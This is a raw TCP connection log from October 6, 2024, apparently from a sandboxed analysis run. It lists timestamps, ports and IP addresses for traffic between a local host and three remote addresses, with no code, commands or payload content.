Oct 6, 2024 22:33:21.328936100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328943968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328953028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328963995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328988075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328998089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.329005003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.329015017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.329032898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.329041004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333301067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333336115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333344936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333362103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333370924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333388090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333395004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333436012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333534956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333543062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333550930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333559036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333566904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333590031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.333596945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.368832111 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.368856907 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.534425020 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.534984112 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.535021067 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.535460949 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.535468102 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.541374922 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.541656971 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.541692972 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.541980028 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.541987896 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.625874996 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.626530886 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.626560926 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.627234936 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.627240896 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.632829905 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.632893085 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.632946968 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.633191109 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.633208990 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.633223057 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.633230925 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.637005091 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.637043953 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.637105942 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.637329102 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.637341022 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.642776966 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.642844915 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.642889977 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.642987013 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.643002033 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.643013954 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.643021107 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.646285057 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.646317959 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.646387100 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.646548986 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.646562099 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.730942011 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.730982065 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.731076002 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.731106043 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.731142998 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.731321096 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.731345892 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.731368065 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.731375933 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.734242916 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.734286070 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.734385014 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.734637976 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.734649897 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.763133049 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.763516903 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.763561010 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.763993979 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.764003992 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.808186054 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.808494091 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.808526993 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.808847904 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.808856964 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.864073038 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.864099026 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.864160061 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.864198923 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.864248991 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.864417076 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.864449024 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.864463091 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.864470005 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.867104053 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.867134094 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.867204905 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.867328882 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.867341042 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.911571026 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.911607027 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.911649942 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.911665916 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.911752939 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.911797047 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.911813974 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.911819935 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.911844969 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.911849976 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.913861036 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.913896084 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.913955927 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.914074898 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.914088964 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.283612967 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.284151077 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.284194946 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.284661055 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.284668922 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.289694071 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.289964914 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.289989948 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.290276051 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.290282965 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.374650955 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.375150919 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.375171900 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.375612020 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.375618935 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.383445024 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.383528948 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.383580923 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.383734941 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.383753061 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.383766890 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.383774042 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.386953115 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.387073994 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.387149096 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.387296915 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.387334108 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.392267942 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.392605066 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.392667055 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.392713070 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.392713070 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.392731905 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.392744064 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.394886971 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.395010948 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.395102024 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.395230055 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.395265102 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.473591089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:22.473680973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:22.473941088 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.474287987 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.474347115 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.474586964 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.474597931 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.474607944 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.474612951 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.476661921 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.476686954 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.476752996 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.476890087 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.476914883 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.477122068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:22.482466936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:22.509835958 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.510138988 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.510149002 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.510521889 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.510526896 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.548527956 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.551012039 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.551028013 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.551527023 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.551532984 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.608378887 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.608463049 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.608539104 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.608803034 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.608818054 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.608829021 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.608834982 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.612030983 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.612071037 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.612176895 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.612341881 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.612360954 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.647475004 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.647536039 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.647589922 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.647775888 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.647798061 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.647814989 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.647823095 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.650567055 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.650593996 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:22.650675058 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.650795937 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:22.650809050 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.036277056 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.037053108 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.037120104 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.037559986 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.037595034 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.044864893 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.045293093 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.045382023 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.045667887 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.045686960 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.111845016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:23.111959934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:23.113137960 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.113594055 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.113617897 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.114093065 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.114099979 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.123683929 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.128555059 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.128621101 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.128724098 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.133589983 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.135129929 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.135230064 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.135284901 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.135454893 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.135474920 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.135489941 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.135498047 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.138612032 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.138641119 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.138710022 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.138890982 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.138900042 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.145802975 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.146022081 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.146064997 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.146099091 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.146121979 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.146136045 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.146142960 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.148040056 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.148075104 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.148142099 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.148258924 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.148277044 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.214194059 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.214344025 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.214529991 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.214852095 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.214900017 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.214934111 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.214951038 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.218259096 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.218276978 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.218344927 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.218621016 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.218633890 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.244498968 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.267018080 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.267086029 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.267426968 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.267443895 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.286391020 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.286766052 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.286798000 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.287143946 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.287149906 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.362157106 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.362330914 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.362386942 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.362540960 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.362581968 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.362607956 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.362622023 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.365238905 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.365279913 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.365339994 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.365494967 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.365509033 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.386568069 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.386660099 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.386702061 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.386760950 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.386784077 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.386799097 CEST	49836	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.386806011 CEST	443	49836	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.388745070 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.388760090 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.388816118 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.388942003 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.388953924 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.769357920 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769376993 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769392014 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769404888 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769438028 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.769468069 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.769918919 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769932985 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769948006 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769963980 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.769984007 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769998074 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.769998074 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.770011902 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.770026922 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.770047903 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.774338007 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.774350882 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.774396896 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.776940107 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.777499914 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.777513981 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.778002024 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.778007984 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.787741899 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.788005114 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.788021088 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.788333893 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.788341999 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.860111952 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860136032 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860157967 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860172987 CEST	80	49837	147.45.44.104	192.168.2.4
